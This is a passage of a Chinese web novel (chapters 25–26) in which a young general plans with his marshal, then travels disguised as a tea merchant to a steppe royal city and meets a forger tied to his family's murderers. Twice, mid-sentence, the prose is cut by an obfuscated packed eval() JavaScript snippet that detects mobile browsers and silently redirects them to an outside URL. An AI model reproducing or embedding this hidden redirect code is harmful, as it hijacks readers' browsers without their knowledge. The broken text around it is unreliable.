燕昭鹏看着他的样子轻笑道:“也说不定就真没有,听说他二人一个爱钱财一个爱酒色,倒是互不冲突。” 白阳来对他摇了摇头说:“非也,男人最爱的是权势,钱财酒色都不过陪衬的玩物罢了。他二人若真爱那些,与我们反倒是好事。” 翌日一早,白阳来与叶真一同牵着马正准备出发,雍长龄的亲卫突然赶来请白将军到中军帐议事。白阳来遂与叶真告别,赶往雍大将军处。 是朝廷的旨意到了。 中军帐内无人说话。 徐副将没话找话:“这圣旨,怎么就这么送过来了?传旨的钦差呢?” 那传信兵略带迷茫地答道:“钦差大人说,他不习惯草原的水土浑身不适,便对我等委以了重任。” 草原荒僻,又逢战乱,想来是不愿意吃苦冒险。 既然无人传旨,那便也无需接旨了,众人有一种十分荒谬但因为事出帝都又有些习惯了的无奈之感。 雍长龄还是站起身来向帝都方向行了个礼才拆看圣旨。景帝要雍长龄打下王城踏平草原,他要做开疆拓土的一代圣君! 开疆拓土的功绩,为君为将者哪一个能拒绝。远在帝都的景帝期望着雍长龄能为他建这不世之功,让他在史册上留下浓墨重彩的一笔;近在同一个营地中的黄居养也举着药碗微笑,期待着从草原开始的变局。雍长龄将这所有的风起云涌按下,一切如常地布置了战备、防务和更深入的探查任务。 白阳来去王城的行程推后到了明日,是夜他陪雍大将军巡察大营。 白阳来问雍长龄:“您是想打这一仗的吗?” 雍长龄一边用脚步丈量着自己的营地一边说:“总说你沉稳,一开口就是孩子话。” 除了自己的仇和燕家,白阳来关心的也就是雍大将军了,他说:“徐副将等几位老将军都不希望咱们再赢下去。他们打起仗来虽然也是无论如何不能输的人,但这一次他们也是真的担心咱们赢得太多了。” 雍长龄喜欢他这样的仁善又清醒:“老将军们都有妻儿家小,一大帮人指靠着他们呢。人有了牵挂就会迟疑犹豫,难以果决。” 白阳来发现雍大将军今夜总是不肯正面回答他,有些急了,他明日就要去王城,不知要多久回来,这期间营中若是发生什么,他不在着实不能放心。 白阳来只好问得更直白一些:“老将军们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15147057|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心得胜还朝朝中那些人会对咱们不利,大将军既然决定要打,这些事情是否该从长计议呢?” 雍长龄站住脚,转过身,问他:“我该如何计议呢?” 白阳来也不绕弯子,直接说到:“朝中无非是忌惮大将军功高,不愿再加高官厚禄,末将观察许久,目下看来帝都自上而下并无人非要置您于死地,既然如此,不妨示弱,自曝其短让帝都关注着您的眼睛看见,并以此削去您的功绩已保平安。您心不在权势,又何需计较一时之失,惟有暂时放下才能换来长久。” 雍长龄因为这番话放下心来,笑得格外欣慰:“不愧是燕家长大的,这个年纪就知道舍一时才能得长久的道理了。你能明白这个道理还能劝我不溺于权势以长久为要,老夫真是高兴。这人生啊,输赢都是一时的,哪怕你能在战场上从无败绩,就是全赢吗?不是的,人生起起落落,我们总要尽量坚持久一点,才能看得明白些。” 还是不愿给他给准话,白阳来急得眉头都皱起来了,雍长龄笑得愈加开怀:“好了好了,不急不急。我明白你的意思,你的法子也很好,很得用。只是,这件事情没有这么简单,这个局中不是只有你我。我要考虑的还有这营里所有的人。” 白阳来恢复了惯常的平静神态,凤目黑眸认真地看着他说:“如果您为了自己牺牲我们,我虽难过也可以理解,但您若要牺牲自己保全我们,大将军,恕我无论如何不能同意。没有您,润和大营绝不会如现在这般继续存在,您不要冲动,要想清楚,这个主帅的位置只有您来坐,我们才是我们。” 雍长龄原本想告诉他一些事情,现在看来还是先不说的好,明日就要出发去王城了,雍长龄拍拍他的肩,发现这小子不知从何时起已经比自己都高了,他说:“你此去王城一切小心,除非有人来犯,我答应你在你回营之前都不开战,这样可好?” 白阳来终于露出一个软绵绵的笑,结束了今晚的谈话。 翌日,他为赶路早起时太阳还没出来,燕昭鹏醒了靠在床上让人撤了屏风看他吃饭,白阳来有话想说,又要抓紧时间吃饭,难得抛却从容显得有些忙乱,燕昭鹏看得很有趣,于是愈加要招他说话。 白阳来:“唔,这个小煎饼软软的微带咸香,你起床后让他们现做了热的尝尝,这个好吃。” 燕昭鹏看着他一边鼓起的脸颊笑着应好,白阳来又说:“我昨日想了一下,其实有时候我们虽然执着于一件事,但只要稍得回应就能满意,并非每一次都必须要得到自己希望或是预期的那个结果。” 燕昭鹏:“噢?怎么说?你详细讲讲。” 白阳来抬眼瞪了他一下,明知自己赶着走还详细讲讲,就喜欢在人紧急的时候逗乐子。 但他自己也想说,于是还是答道:“就比如昨日我向大将军说了那么多,可他只是向我保证不主动开战我就很满意了。其实以我军现在的准备,我心里知道也不会很快开战的,但就是,仿佛他说了我就放心了。” 燕昭鹏说:“是啊。你放心不下,除非听他亲口保证。”他向上坐了坐说:“那你呢?白将军,就要去王城了,你也给我保证保证,好让我放心些?” 白阳来正有话对他说,他吃好饭擦干净了嘴和手走到燕昭鹏床前,蹲在脚踏上——为出门穿了粗布衣裳不好坐床,说:“你让亲卫们戒备些,大将军昨日说‘除非有人来犯’,虽然这不太可能但凡事就怕万一,万一有谁活腻了偏来找死,你可要机警些,自己别受伤了。” 他这一说燕昭鹏也来神了,他奸笑着趴到床边小声对白阳来说:“若真如此,我就往黄居养郎君身边躲去,正好试探试探他是什么人!” 燕庭阔身为燕昭鹏的贴身亲卫队长,此时就侍立在燕昭鹏床尾,他听着两人的话不由地在心中憋气:我如此高大两位郎君都没有看见吗?白将军为何要担心郎君会受伤,郎君又何必往人家那里躲?哼,此后无事便罢,若是有事我定要将郎君护得无比周全,让所有人看看,燕家亲卫,那就是最可靠的! 他正想着,突然发现两位郎君都抬着头看他,他连忙单膝跪地,询问道:“二位郎君,这是怎么了?” 白阳来的凤眼可以在他需要的时候用眼神替他说话,比如现在燕庭阔就从那双美丽的凤眼中看出白将军在对他说:“委屈你了。”燕庭阔不由得一愣,目光移向燕昭鹏,只见自家郎君双眼发亮,燕庭阔不由地就有些害怕。燕昭鹏看他双肩后仰连忙坐直身体正色道:“就是以防万一,不一定有人来犯呢,别紧张。”白阳来站起身子,把燕庭阔也扶起来,燕昭鹏说:“万一没有人来找死,那我们也没机会试探了。”言语之间颇为惋惜。 燕庭阔缓缓长出一口气,却听白阳来用充满怜惜的语气对燕昭鹏说:“营中无聊,委屈你了。”燕庭阔一口气没出完就哽住了:白将军,倒也不必如此。 25.第 25 章 白阳来带人扮做行商带着货物去王城交易,期间专门向杂部草原绕了绕。如果前一天他与叶真一同出发,那就会先到杂部草原再分兵、不,是分队去往王城。 这一路还遇到了其他商队,白阳来在脸上涂了关阙给的药膏,终于比身边人的肤色黑了一下,他自觉十分自在,以为这样自己的容貌就不会再如往常般引人瞩目了。可他不知道,所谓“一白遮百丑”说的是一般人,长成他这个样子别说涂药膏,就是在脸上涂煤摸碳,也只会美得更特别。 肤色一深,衬得他眸子极亮,他一高兴放松,通身气质流动更显魅力,整个商队被他带得士气勃发,就连路上遇见的其他商队就莫名受到感染,觉得此行美好。 喝了酒的老行商本就话多,白阳来有心问上两句,他说的就更多了:“那王城里住的都是他们的大贵族,就喜欢咱们中原这些精细的东西,给的价钱也高,就是草原部族嘛,匪气重,队里头要是没有高手压阵杀人抢东西的也不是没有。”他看了看白阳来身后的队伍,自从他跟白阳来说话开始,一个个五大三粗戴斗笠草帽的郎君就盯着他看,只不过他喝了酒,熏熏然没有发觉罢了。“嗯。”老行商肯定他道:“你这队人马不错,看着都有把子力气,应不至让人欺负了去。” 白阳来身后跟着一队由先锋营各校尉与精锐士兵装扮而成的行商队伍,何止一个个有的是力气,出发前,被燕郎君专程提点过的他们,那可是把全部的心眼子都恨不得用在这次任务上。毕竟这是跟自家将军第一次执行这样深入敌军内部的探查任务,将军那样的人才品貌,他们可得护好了的。眼看着一路走来所有人的目光都钉在白阳来身上舍不得移开,这些跟在他身后孔武有力的“伙计们”一个个又是拔刀子又是抽匕首,炫耀武力炫耀得无比明显。 虽说这些举止是比较夸张了些,但在危机四伏的草原上还是很有用的,老道的行商一看他们寒光逼人的兵器就知道这群人是狠角色,因此这一路的行程颇为平静。更有许多温良的行商默默地驱使着自己的车队跟在白阳来他们后面希望求得庇护。白阳来看见后并未多说,只是暗中控制了行进的速度,以便更多的车队能跟得上来。待到王城在望时,他的马后已经是浩浩荡荡一个庞大的队伍了。 有人告诉充当账房先生的先锋营校尉何谒,外城每日巳时才开城门准出入,酉时便要关门禁出入了。现在酉时将近他们今夜需宿在城外了。这一点叶真倒是与白阳来讲过,他们来的那一次只有两三个好手,虽扮做行商但有马无车,只为探查消息,身份掩护全在其次,不像白阳来这次,真可谓是浩浩荡荡。叶真说他们银子开道没有文牒也能进城,但是现在这种情况……白阳来摸了摸下巴,借着自身的不足之处与这些常年在草原上来往的人们结交一二或许更为便宜。 罗影靠过来悄声对他说:“郎君,不要乱摸,药膏会掉。” 什么“药膏会掉”?白阳来没反应过来他在说什么,顺着他的目光一看自己的手,手上沾了一些黄褐色的药膏。他这才想起自己脸上涂了东西,顿时无语。 罗高川从另一边靠过来悄声说:“还好郎君你手上缠了布条,不然脸是这个色手却这么白,一看就得露馅!” 隋得远凑过来斥他:“就你话多!” 往常他们拌嘴白阳来都没有什么感觉,这一次,他觉得隋得远说得真对! 于是他动身去散在背风处各自休息的人群中寻找结交目标时便只带了罗影和隋得远,被留下的罗高川哀怨地看着他们走远。 这一行所有的商队都要在城外等到明日开城门,因是王城外围,连个开茶摊、黑店的都没有,说起来一夜而已,将就将就也就过了。 被白阳来选中搭话的行商说:“我们往常遇到这样的情况就是寻个背风处露宿一宿,明日醒来整理整理货物就差不多可以准备入城了。”此时正值晚饭十分,白阳来他们带了三小坛酒做见面礼,与其他商队混在一起用晚饭。这个行商贩的是丝绸,一箱箱很矜贵地绑在马车上,他虽然乍看有些奸商形状,但白阳来观察发现其人眼神清亮,便选了他来搭话。 白阳来给那人倒酒,那人闻着酒香精神都显得振奋了许多:“啊,好酒,闻着都解乏。怎么,郎君你不喝吗?” 白阳来说:“郎君恕罪,我家中有规矩,不能饮酒。” 那人道:“怎有这样的规矩?” 白阳来歉意笑笑,说:“主家是卖茶的,我父亲说喝了酒就品不出茶香了。” 那人不解地笑道:“令尊这说法好生没道理。” 白阳来在心里告了个罪,说:“我父子深受主家恩惠,这一趟差事是父亲好不容易替我求来的,若干好了,以后自然好说;若是出了岔子,父亲也不好为我说项。我主家生意做得大,好些人等着顶我这位置呢” 那人一听这话忍不住替感慨道:“唉,我知我知,年轻时都是这样过来的,没事儿,都到这儿了,这趟差事也就成了一半儿了,放心。” 白阳来做心虚状小声嘟哝:“我这儿还真不敢放心。”他略低头抬眼,小心地看了看四周,这一番作态,强自镇定又小心翼翼,配上他略深的肤色和睁圆的一双清澈的凤眼…… 那人一口将碗中酒饮尽,豪迈地拍胸脯:“小郎君莫慌,有事说来我给你想办法,我章余庆纵横草原二三十年,没有什么不能周全的!” 白阳来淡淡一笑,眼神干净得犹如最明澈的湖水:“多谢章郎君。” 白阳来带着罗影、隋得远、唐竟民、宋宁生以及何谒等人每人举着一支蜡烛蹲成一个圈,看着一个满面风霜的老者在他的铜油灯下,做出入王城的身份文牒,是的,新鲜现做。 白阳来怎么都没想到,章余庆的办法竟然是这个,他眼睁睁地看着老人写完了一份文牒然后,拿出了一方印,张开嘴向着那刻了字的一面哈了两口气,就这样盖了上去。白阳来接过老者递来的文牒,看着上面鲜红的“大德王城通宁之宝”的印记,一时不知作何反应。章余庆看他望着文牒久久不语,嘿嘿笑着说:“放心吧,马七叔做的文牒就跟那边儿官家发的一个样。那王城里真正的宝印就是他家长辈给刻的,家里留了样子,你别看七叔如今这样,手艺是一直在的,无论什么,你但凡给他个样子,他都给你给刻出个一模一样的。” 这马七被章余庆找到的时候正在离人群不近不远的地方准备吃饭,听说要做东西又向外找了找,找到了一个平坦的大石头当成桌子,方便写字。白阳来收起自己那份文牒,看向马七,老人初见时眯着眼抖着手好似眼花体弱,如今提笔写起字来可是稳得很。他站起身,将位置让给其他看得津津有味的人,拉着章余庆到一旁说:“这位马七叔手艺如此了得,不知我该给多少报偿?” 章余庆说:“没什么,郎君你有什么好吃好喝的给他一口就是。” 白阳来说:“章郎君这是哪里话,我虽没什么见识,可马七叔的手艺有多厉害我还是知道的,不要说这文牒我要给钱,就是章郎君帮我设法又找人我也是要谢的。”白阳来诚恳道:“出门时父亲教过我,行走在外要舍得钱财,多交朋友。” 章余庆觉得这位新相识的年轻郎君真是真诚可爱,于是跟他解释道:“郎君不必如此,你以前没走过这趟道,有所不知,这条路乱呐,虽然跑一趟钱多,可危险也是真的。那马七当年也是个好汉子,自家一帮兄弟跑草原,又挣了钱又娶了媳妇生了儿子,可是他们家有那个手艺,终究是得罪了人。那年他媳妇怀着孕,想吃新鲜果子,他家就在草原边儿上住,没得卖的,他就骑着马去了远处的大城里去买,那大城里有富贵人家,能买着新鲜果子。这一去就是四五天,等他回来,家里人的尸首都叫村里人帮着收敛了,只剩满院满屋的血,家具锅碗都给毁了。” 章余庆回头看了看灯火聚集处,唏嘘一声:“他一个人葬了全家,给村里人磕了头之后就离开了。从那时候起,不论谁走这趟道,他都跟着,好像是说仇人就是在这儿遇上的,他也没有别的办法,就一直来来回回的,希望能再遇上吧,要不然怎么活呢。” 章余庆对白阳来说:“他孤身一个,你给他钱他也保不住,还有危险,给吃的喝的,那他吃了喝了总是自己的。” 白阳来点点头,受教了。 章余庆接着说:“至于我们,”他划拉了一下今夜一起在背风处休息的商队,“我走了这么多次这趟道就没有像这次这么太平的,以往哪能走得这么快,路上人多事杂的。”他看向白阳来:“这都是托你的福,还给什么银钱,我不给你银钱都是在占你的便宜了。” 白阳来不知他这话从何说起,脸上便带出了疑惑神态,章余庆说:“你还记得咱们刚遇见的时候吗,大家都在那口井旁汲水那时候?” 白阳来他们是特意在那口井旁等着商队们一起走的,但他们马快,到的时候还没什么人。罗影、罗高川他们左右无事,就提了井中的水上来饮马,有人看见他们占据了井旁的位置便不敢上来,罗高川他们不知道,罗影自己警惕性很高,见状便有些担心,以为是看他们脸生,这些常走这条商路的人才不愿上前。罗高川于是热情的招呼那些商队:“要水吗?我们够了,给你?”招呼了好几声,担心人家听不清还连说带比划。 终于有人战战兢兢上前要了他们提上来的水,问道:“多少钱?” 罗高川一愣:“嗯?这里的水要钱吗?” 罗影也没反应过来:“这井不是为了方便过往行人的吗,还要钱?” 罗高川说:“你们以前都给钱的吗?我们刚才没给,水都已经喝了,这儿也没人收钱啊,给谁啊?” 章余庆说:“因为你们,我们是第一次喝那口井的水不用给钱。” 白阳来和当时的罗高川一样奇怪:“给谁钱?我们去的时候那里没人啊。” 章余庆笑着说:“草原上有一帮泼赖,专靠着那口井发财的,你带着的郎君们在那井边又是磨刀又是摔跤的,他们哪还敢来。”磨完刀还一刀挥下去劈开了一块石头才满意地收好,这谁还敢找不自在,故此一路平静。 马七的全部家当都在他肩上的背篓里,唯一值钱些的就是那个用得老旧的铜油灯,那本是他买给长子读书用的。 做好所有人的身份文牒后,众人看着马七收拾好东西,白阳来上前请他与章余庆一同去自己的商队那边用餐便饭以示感谢。马七看了看他没说什么,背上背篓,拱了拱手便跟着走了。 白阳来他们颇带了些好吃的,几种肉就不用说了,还有腌好的鸡蛋、酱菜,以及软和的麦饼。章余庆由罗高川他们陪着喝酒吃肉,甚是痛快。 说起来,这罗高川有一无人可比之优点:他喝酒不会醉,最多就是喝得多了肚子胀,也就是去趟净房的事儿,简直万分适合陪人喝酒。章余庆喝着他们带来的好酒一边夸一边问:“这酒你们要是带到王城去买也是一笔好赚,就这么喝了属实有些可惜。” 罗高川:“诶~章郎君这是哪里话,这酒让你我喝了难道不比卖了更值?有什么可惜的。再说了,我们家是卖茶的,哪有又卖茶还买酒的?那么不讲究。” 这些商队里还真有又卖茶又卖酒的,听见了他这话也不敢说什么,只得假装自己酒坛子里装的也是茶罢了,咳咳。 章余庆有些微醺,闻言哈哈一笑:“你们主家倒是讲究,怎么你们这么多人出来连个身份都没有?” 罗高川被问住了,他端着酒碗碰了碰一旁正吃饭的何谒,碗里的酒撒了人家一胳膊。何谒一点不惯着他,手肘一捣把酒碗又撞回来,罗高川赶着碗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194824|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酒散出来之前用嘴接住喝掉,不但衣衣裳没湿还引得章余庆拍着手喝了声彩。何谒半转过身子对章余庆说:“章郎君您有所不知,我们从家里出来的时候带的货物可比现在多,只是我们跟我们郎君都是头一次出门做生意,在路上被人给抢了,人虽然没什么事儿,可货物还是弄丢了不少。这要是按着原先的商路走我们赚的钱回去没法交账,我们郎君这才带我们来的草原,听说这条路赚得多。” 罗高川忙在一旁附和:“啊对对对,文牒就是那时候丢的!跟着我们好几车货物一起丢了。” 章余庆想了想,他们这一队确实是人多货少了些,遂点了点头,没有再问。 另一边,白阳来将烤热的面饼递给马七,马七从方才坐下就一直在看白阳来,看他如皎皎明月般美丽的眼睛,此时白阳来递给他烤的焦香的面饼,他道了声谢才双手接过。白阳来又剥开一个咸香的鸡蛋递给马七,说:“还请马七叔不要客气,您帮了我们大忙,就容我感谢一二吧。” 马七感慨地说:“郎君的商队人强马壮,却不恃强牟利,这一路上因为有你们在,往日那些□□蛮横之人都不敢生事了。这条路我走了这么多年,还是头一次走得这么清静,竟然就这么一路无事的过来了。” 他把流着油的鸡蛋裹在饼里说:“你们刀兵锋利,人心却是善的,在井旁打水分与众人也不要银钱,一路上为了顾着我们压着自己的马速。”马七笑了笑说:“更难得的是,你们做这些做得这样自然,仿佛从来便该如此。”他摇了摇头,以一种从不敢想但真心赞许的叹息语气道:“我给你们做东西我是打心眼儿里愿意的,是用心的,我高兴。”他看着白阳来有些脏兮兮却仍旧清俊的小脸说:“我家没了,我不知有多久没高兴过了。” 白阳来心中一痛,顺着他的话脱口而出:“我家也没了,也好多年了,至今仇人都没找到。” 这岂不是与他一样?马七乍一听都要以为白阳来是听闻了自己的故事故意这样说来骗他的,可再一想便觉得根本没这个必要,自己一个背着破篓子老病之人,有什么好骗的。 说漏嘴了!白阳来话一出口便立刻反应过来,竟然将真话说出来了,之前在章余庆面前不是这么编的!白阳来啊白阳来,你竟然因为初识之人的一句“家没了”就忘情失意地说了真话,这么多年的仇了,怎么突然就如此难以自抑了! 白阳来心中不免有些烦乱,一面努力压下翻涌而起的仇恨,一面努力思考着当下的话语,好在他从小便神色清淡,此时心中虽乱但强自镇定之下并未有丝毫色变显露于外,只听他迅速找补道:“我是听章郎君说,您在这趟道上多年来回就是为了找仇家?” 马七语声沉沉道:“是。” 白阳来迅速说:“您替我保密,我跟您一起找人怎么样?” 马七不解其意,问:“郎君何出此言?” 白阳来感觉自己额上有些冒汗,深吸了一口气让自己镇定一些才接着编道:“我,这个差事是……嗯,养父为我寻的,他不知道我还想着报仇一事,章郎君那边,烦请马七叔替我保密。此乃私密之事,除非仇人立现,否则我不欲人知。” 这个马七倒是能体谅,自己除了报仇是再没有别的想望了,可这位白郎君年纪尚轻,还有的是前途,他点点头答应了,只是“我虽然知道当年是因为什么给家中惹来灾殃,但对仇家所知甚少,否则也不至于只能在这趟道上来来回回的碰运气了。你的仇家是谁?我怎么帮你一起找?” 白阳来从怀里掏出一块木牌说:“我的仇人也曾在草原出没,这块牌子就是他们身上的,不知您见过没有。” 马七接过木牌,凑到灯火下细看,他的双眼倏然睁大,他见过这纹样! 马七怔怔的抬起双眼,不敢置信地轻声问:“你的仇人也以这纹样做记?” 也?白阳来同样不敢置信:“马七叔也见过这木牌?” 马七说:“不,不是木牌,是一面旗子,我见到的是他们的旗子,那旗子上就是这纹样,我再不会记错!” 白阳来遂问:“那他们是什么人,马七叔可知道?” 马七双手托着面饼和鸡蛋,第一次与人说起当年之事:“说来话长,那时候我还年轻,郎君只怕还没有几岁,我们一家十几个兄弟,一同在草原上走商挣银钱。” 马家有祖传的手艺,虽然不太见得光,但实在是很好用,尤其是这一代出了马七这么个天赋异禀之人,原本快传不下去的手艺到了他的手里竟然青胜于蓝,有以假乱真之能。 马七说:“祖上原是读书人家,但功名不易得,于仕途上并没有什么建树。有位祖上不喜读书专爱书画,但他的画没有新意,反而是临摹他人的作品惟妙惟肖。书画都是有钱人家玩儿的东西,我祖上那几亩田地买得起纸就买不起墨了,于是他便开始临些名家字画卖了糊口,渐渐地便于此道颇有心得。”做伪这门手艺虽是上不得台面,但却有价有市,家里也因此慢慢富足起来。只是作假卖假终究不是长久之计,为免除后患,攒下金银之后的马家先祖便从江南迁居到了草原附近。 到了马七这一代家里人丁兴旺,马七有十几个兄弟,从小一起长大,既是血亲又有情谊,便商量着卖了家中的田地组了个商队来往草原贩货,虽然辛苦但分润颇丰。 马七说:“往来行商需要一些凭证,我们为了省钱就都是自己做的,一直无事,没有人看得出来。邻村有个人也跟着商队在草原走商,那次他带着一队人在草原上堵我们,那群人”马七顿了顿,声音却似乎并无变化地说:“他们的旗子就是这个纹样,一模一样。”他双唇微抖,说:“他们让我给他们做了两个印章,给了十两金。” 马七强忍着哭腔,用气声道:“十两金,我全家的买命钱。” 26.第 26 章 马七没有再说下去,即使过了这么多年,自己还是无法平静地提起当年之事,哪怕面对这个面目和善又与自己有同样遭遇的郎君他其实是很想对他说一说的。这些年,他从未有人能说一说心里话,只能在心中反复咀嚼无边的悲哀苦痛,那感觉不啻于凌迟。 白阳来明白马七的感受,哪怕他并未说的太清楚,但他的泪有多苦白阳来想象得到。 两人在章余庆等人背后的一隅之地,于火光与喧闹之外被夜幕下的风吹了个透心凉。白阳来不再问,只是默默地给火堆添柴,马七一口咬下裹着咸香鸡蛋的面饼,面饼香软,像……像多年以前家里的味道。马七吃了半张饼,定了定神说:“那两个印章,一个是湖州兵器库的,一个是湖州军府的。” 他吃完了手里的食物,带着绝望的音气恶狠狠地说:“我现在也还能做,我能做得更好,可惜,我没处使。” 他转向白阳来,一半希冀一半绝望地说:“我不知道他们跟湖州军府是什么关系,那些人通身的形容一看便知是常年在草原行走的,不像是军伍之人,他们跟我们一样用马车拉货,不过他们的马比我们好,还剪了鬃……”马七也不知道自己到底想说什么,他看着白阳来,看了许久,他自己没有察觉,他以为自己只是看着,其实白阳来见到的他是对着自己一直在哭,无声地哭。 马七许久没有如此激动,竟然哭得晕了过去,白阳来将他安置好盖上了毡毯。吃完了饭的众人渐渐安静下来,除了每个商队负责值夜之人大都开始休息了,章余庆也被罗高川他们送回了自己的商队。 白阳来负责上半夜的值守,他靠坐在马车上,看着星月之下辽阔的草原,想着自己的心事。 说不得冥冥之中自己的仇真的到了要了结的时候了,竟然一下子让他得到了这么多的线索。多年以前有人让马七做了两枚假印章,身戴同种纹样腰牌的人杀了他的小羊;草原上在山洞中存粮食存兵器的神秘势力,他们之间有关系吗?如果有的话,那可就太好了。 白阳来无数次想若是找不到仇人、若是找到的时候仇人已死,自己今生今世都报不了仇可怎么办。不论他想多少次都不能劝服自己,他不接受除了报仇成功之外的任何结果,他无数次向上天祈祷,让他找到仇家,让他的仇人无论如何不要死在自己杀他之前。 第二日一早,所有人一同起身、用饭、整装,在此期间白阳来他们的动向一直被有意无意地注视着。 罗高川举着自己的鸡蛋不知当吃还是不当吃,他歪着身子悄声问罗影:“我感觉好像有人在看我们。” 罗影肯定道:“是的,他们都在偷偷看我们。” 罗高川不解:“我们怎么了?露馅儿了?” 隋得远出现在他身旁道:“你才露馅儿,我可是正经行商。” 罗高川举着鸡蛋站直了身子教训他道:“你说话过过脑子吧,咱们是一块的,我露馅那不就等于你露馅儿?你要是正经行商,那我也是!” 隋得远眼皮一耷拉“啊呜”一口将罗高川举着的鸡蛋一整个裹进嘴里,然后扭头就跑。罗高川大骂一声开始追他。 白阳来跟马七说好让他跟着自己的队伍一起进城,隋得远就被罗高川一脚踹在了两人面前。隋得远嘴里“呜呜呜”加紧咀嚼着香喷喷的鸡蛋,罗高川从后面一个飞扑坐在了他的腰上,就是在这样的情况之下,隋得远还是努力地把鸡蛋咽了下去。 罗高川坐下之后干准备爆锤隋得远就发现白阳来与昨晚给他们做文牒的马七正站在前方,他嘿嘿嘿地跟两人打着招呼,同时手下不停,抓着隋得远的发髻将他的脸摁在地上摩擦了几下,算是给自己的鸡蛋报了仇。 马七见到这一幕颇有些尴尬,他觉得自己该说些什么,但又不知道该说什么,只能对着白阳来欲言又止,白阳来善解人意地道:“让马七叔见笑了,年轻郎君们私下里的恩怨,我一概不理会。” 马七心想,你自己又何尝不是年轻郎君。 白阳来其实从未觉得自己年轻,他心里总是感觉自己已经很老了。 进城一切顺利,章余庆很慷慨地将白阳来介绍给了自己相熟的商铺掌柜,反正他卖的是丝绸,白阳来卖的是茶,不相冲犯。只是有些贩茶的行商见此颇为不忿,章余庆笑呵呵地说:“别跟我这儿摆脸色,当我怕你是怎的,有本事你也卖就是了,他卖茶你也卖茶有何不可?跟着人家不交钱得庇护的时候怎么不是这个脸色,如今到地方了嫌人家有生意了?你也配!想着点儿白郎君随从身上的刀,脸色给我摆正了再来说话!” 白阳来他们自然也知道有人觉得自己抢了他们的生意,对他们不满,不过都进城了,谁还在乎这些,众人都摩拳擦掌准备开始探查任务。 白阳来一路看过来,这泼岩麻王城,虽然此时他们所在的是外城但这里竟然与中原大城极其相似。章余庆看他们意外的样子不禁哈哈哈地笑起来:“没想到吧,这里就是中原城镇的样子。我第一次来的时候也跟你一样觉得意外。建立王城的双翼狮王对中原文化可说是非常仰慕,从他开始,泼岩麻族内就开始学说中原官话,就连他们的朝廷和官制也效仿咱们,泼岩麻朝廷最大的文官称作丞相,这不就是咱们中原前朝所用的称谓吗。” 白阳来点头称是:“双翼狮王的许多故事也在中原流传甚广,我虽惊诧他将王城建成这样,但却听过狮王‘八卦阵’的故事。” 章余庆说:“你是说王城之外那个‘金刚八卦阵’?” 白阳来说:“正是,章郎君也知道?” 马七在白阳来另一边说:“他当然知道,他第一次去看的时候还差点儿被抓起来。” 章余庆不好意思道:“嗨,那都是年轻时候的事儿了。那时候的八卦阵是真好看,要是现在,那真是没什么看头了。” 这话听得白阳来心中一动,他默默与罗影对了个眼神,同时问章余庆:“章郎君此话怎讲?” 章余庆说:“我当年也听过许多狮王的故事,当年刚来的时候见这座城修建得就像中原大城一样真是又意外又觉得亲切,我知道王城之外有个八卦阵,我没见过八卦阵啊,就想去看看。那时候八卦阵之外并没有卫兵把手,我就想到在那阵前走走看看,不知从哪里出来了两个人就要来抓我,还是马七叔替我一阵分说给了些银钱才免了一场祸事。” 白阳来说:“原先八卦阵没有卫兵把守,现在有了?” 马七说:“现在的八卦阵早已不是当年的八卦阵了,以前不需要卫兵,那阵就是最好的护卫,现在,八卦阵废了,有卫兵又有什么用。” 章余庆隔着白阳来对马七说:“你看你这话说的,白郎君更听不明白了。”他对白阳来道:“你第一次来,这些先不急,咱们先把货物卖了再说别的。”他安排道:“我认识的那个掌柜,主家是住在王城里的大贵族,出手阔绰,等咱们拿到了银钱痛快吃酒的时候我再与你细说。” 白阳来只得道谢,跟着章余庆先去卖茶叶,他在拐弯时回头,队伍中已经没有了罗影等人。 在外城居住往来的人不少,尤其是开铺子的甚至以汉人居多,看着这里热热闹闹的样子,仿佛五座卫城已被攻下的事情对他们没有丝毫影响,这不禁让白阳来感到奇怪,但此时不是说话的时候,他只得先在心中按下这些想法。 茶叶交易进行的很顺利,有章余庆的面子、白阳来的气度以及来自燕家的上品茶砖,那掌柜的甚至没等白阳来报价便给了他一个很高的价钱。他出的价比白阳来出发时燕家那边给的参考价格更高一些,白阳来还以为自己听错了,便问了一句:“你说多少?” 站在他一左一右的章余庆和马七立刻开腔替他还价。 章余庆:“这么好的茶砖您就给这个价啊?” 马七:“这么好的小郎君您也欺负。” 章余庆:“掌柜的您可是识货之人,就这品相的茶砖外城多久没见过了。” 马七:“这么好看的小郎君您恐怕从来没见过。” 章余庆:“您在这城里可是有头有脸的人物,咱们也是长久做生意的,我们这好东西您给个实价。” 马七:“小郎君第一次来就卖这么个价钱怎么回家交差,以后怕是也不能来了。” 人长得好看有没有用这个问题的答案在大多数时候是见仁见智的,但人如果好看成白阳来的样子,那这个问题的答案一定是肯定的。 那掌柜让他俩连挤兑带吹捧得乐陶陶,再看看白阳来俊美的面庞,小郎君脸色是有些黑黄,可见这一路辛苦,掌柜的摆摆手:“啊呀,算了算了,要不是小郎君的茶砖确实好,就你们两个这两张欠打的嘴我真是不耐烦听,加三成,再加三成行了吧。” 那掌柜的先点了白阳来的茶砖,然后又一箱箱看了章余庆的丝绸,都收了,一同会账。 伙计到后头取银子的时候,四人在前面喝茶,喝的是白阳来带在身上的茶。掌柜的品了品说:“这是今年的新茶?” 白阳来答道:“正是,您是识茶之人。” 